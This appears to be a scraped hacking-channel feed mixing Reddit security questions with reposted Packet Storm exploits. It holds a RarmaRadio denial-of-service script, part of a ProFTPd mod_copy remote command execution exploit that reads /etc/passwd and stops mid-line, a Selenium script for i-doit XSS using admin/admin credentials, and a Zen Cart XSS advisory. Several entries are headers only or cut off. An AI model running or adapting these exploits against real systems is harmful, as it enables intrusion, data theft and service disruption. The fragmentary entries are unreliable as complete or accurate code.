Install Gxss on Kali Linux
https://medium.com/@sherlock297/install-gxss-on-kali-linux-b598e30e8be5?source=rss------bug_bounty-5

Install Gxss on Kali LinuxContinue reading on Medium » (https://medium.com/@sherlock297/install-gxss-on-kali-linux-b598e30e8be5?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Satellites

Has anyone ever taken over a satellite and ransomed it or used it against an adversary outside of penetration tests? It's probably easier to shoot them down but missles are expensive. I'm just tired of having to wear a Faraday cage around my head so I don't get programmed like the rest of you📡🛰️🏴‍☠️

submitted by /u/FullDeadQuiet
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
The making of the XOR cipher

submitted by /u/mathmare
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Which gmail is more secure?

Which gmail is more secure? An account with exposed purchase receipt with date(no order code) or a newborn gmail account?

submitted by /u/JaegarNY
[link] [comments]

hacking: security in practice
I want to hack tesvor x500

Hello there,

I know, the title might be misunderstood, but I don't know how to title my project.

I want to hack the Soundfiles on my Tesvor x500. I just want to swap them out, when there are existing Sounds for "charging started" or "intelligent cleaning".

Is there any possibility to "hack" myself in this robot via Wifi and swap some data?

When this is not the right subreddit, please point this out to me.

submitted by /u/Amorphiris
[link] [comments]

Exploit Collector
RarmaRadio 2.72.8 Denial Of Service

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
RarmaRadio version 2.72.8 denial of service proof of concept exploit.

MD5 | e3972881c8a84c8b53c0c3119a4c0df4

Download
# Exploit Title: RarmaRadio 2.72.8 - Denial of Service (PoC)
# Date: 2021-05-25
# Exploit Author: Ismael Nava
# Vendor Homepage: http://www.raimersoft.com/
# Software Link: http://raimersoft.com/downloads/rarmaradio_setup.exe
# Version: 2.75.8
# Tested on: Windows 10 Home x64

#STEPS
# Open the program RarmaRadio
# Click in Edit and select Settings
# Click in Network option
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Lambda.txt"
# Paste the content in the fields Username, Server, Port and User Agent
# Click in OK
# End :)
buffer = 'Ñ' * 100000

try:
file = open("Lambda.txt","w")
file.write(buffer)
file.close()

print("Archive ready")
except:
print("Archive no ready")


Source:packetstormsecurity.com

Exploit Collector
ProFTPd 1.3.5 Remote Command Execution

https://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png
ProFTPd version 1.3.5 remote command execution exploit. This is a variant of the original vulnerability discovered in 2015 with credit going to R-73eN.

MD5 | 65284b1eff912220e6161a800f3801c5

Download
# Exploit Title: ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
# Date: 25/05/2021
# Exploit Author: Shellbr3ak
# Version: 1.3.5
# Tested on: Ubuntu 16.04.6 LTS
# CVE : CVE-2015-3306

#!/usr/bin/env python3

import sys
import socket
import requests

def exploit(client, target):
client.connect((target,21)) # Connecting to the target server
banner = client.recv(74)
print(banner.decode())
client.send(b'site cpfr /etc/passwd\r\n')
print(client.recv(1024).decode())
client.send(b'site cpto
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Nagios XI / Fusion Privilege Escalation / Cross Site Scripting / Code Execution

https://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png
Skylight Cyber has identified a total of 13 vulnerabilities in Nagios XI and Nagios Fusion servers. These include remote code execution, cross site scripting, privilege escalation, and more.

MD5 | 0f8ab86fe538d7650dcebc219968069c

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Pluck CMS 4.7.13 Remote Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
i-doit 1.15.2 Cross Site Scripting

https://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png
i-doit version 1.15.2 suffers from a cross site scripting vulnerability.

MD5 | 4760ac7ddc0a553330c79104c0530f02

Download
# Exploit Title: SXX for i-doit 1.15.2 in parameret (viewMode) from Infrastructure
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 05.25.2021
# Vendor: https://www.i-doit.org/news/
# Link: https://www.i-doit.org/new-minor-release-i-doit-open-1-15-2/
# From Github:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3151/idoit-open-1.15.2.zip
# CVE: CVE-2021-3151 - NEW
# Proof: https://streamable.com/vofczm

[+] Exploit Source:
#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-3151

from selenium import webdriver
import time
import os, sys
# Vendor: https://www.i-doit.org/news/
website_link="http://192.168.1.160/?"

# enter your login username
username="admin"

# enter your login password
password="admin"

#enter the element for username input field
element_for_username="login_username"

#enter the element for password input field
element_for_password="login_password"

#enter the element for submit button
element_for_submit="login_submit"

#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(1)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit XSS vulnerability parameter viewMode
time.sleep(3)
# Payload Parameter: "viewMode" (Infrastructure > catgID=41 == XSS
injection simbol{'})
browser.get(("
http://192.168.1.160/index.php?viewMode=1002&tvMode=1006&tvType=1&objID=26&catgID=41%27
"))

print("The payload is deployed now this is bad for the owner \;)\...\n")
except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, but something is wrong and this exploit is not working...")

## The exploit

## Vulnerable (Infrastructure) section
## Parameter:
viewMode (Infrastructure, Object, Network > local pots = XSS simbol{'})

- URL

http://192.168.1.2/?viewMode=1100&tvMode=1006&tvType=1&objID=26&catgID=41&objTypeID=19&cateID=1&editMode=1

## insert the payload into:

Title:
Description:

---------------------------------

# Exploit Title: SXX for i-doit 1.15.2 in parameret (viewMode) from
Infrastructure
# Date: 05.25.2021
# Exploit Authotr idea: @nu11secur1ty
# Exploit Debugging: @nu11secur1ty
# Vendor Homepage: https://www.i-doit.org/news/
# Software Link:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3151/idoit-open-1.15.2.zip
# Steps to Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3151

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
nginx 1.20.0 DNS Resolver Off-By-One Heap Write

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Zen Cart 1.5.7 Cross Site Scripting

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
Zen Cart version 1.5.7 suffers from a cross site scripting vulnerability.

MD5 | df30607df6a72933aa69d11199808bb8

Download
Information
--------------------
Advisory by Netsparker
Name: Cross-Site Scripting Vulnerability in Zen Cart 1.5.7
Affected Software: Zen Cart
Affected Versions: 1.5.7
Homepage: https://www.zen-cart.com/
Vulnerability: Cross-Site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Netsparker Advisory Reference: NS-21-002

Technical Details
--------------------

Zen Cart 1.5.7 was improperly sanitizing user input in HTTP GET parameter
names, which led to a Cross-Site Scripting (XSS) vulnerability in the admin
area. The impact of this vulnerability is lessened due to the fact that the
name of the admin panel must be set to a random or user-supplied name.

Resolution: The vulnerability is fixed in Zen Cart v1.5.7c.
Scope: It affected only users of Zen Cart v1.5.7, v1.5.7a, and v1.5.7b.
Fix: Users can consult the release announcement for guidance on applying
the patched files related to upgrading to v1.5.7c

For more information on cross-site scripting vulnerabilities read the
article Cross-site Scripting (XSS).

For more information:
https://www.netsparker.com/web-applications-advisories/ns-21-002-cross-site-scripting-in-zen-cart/

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video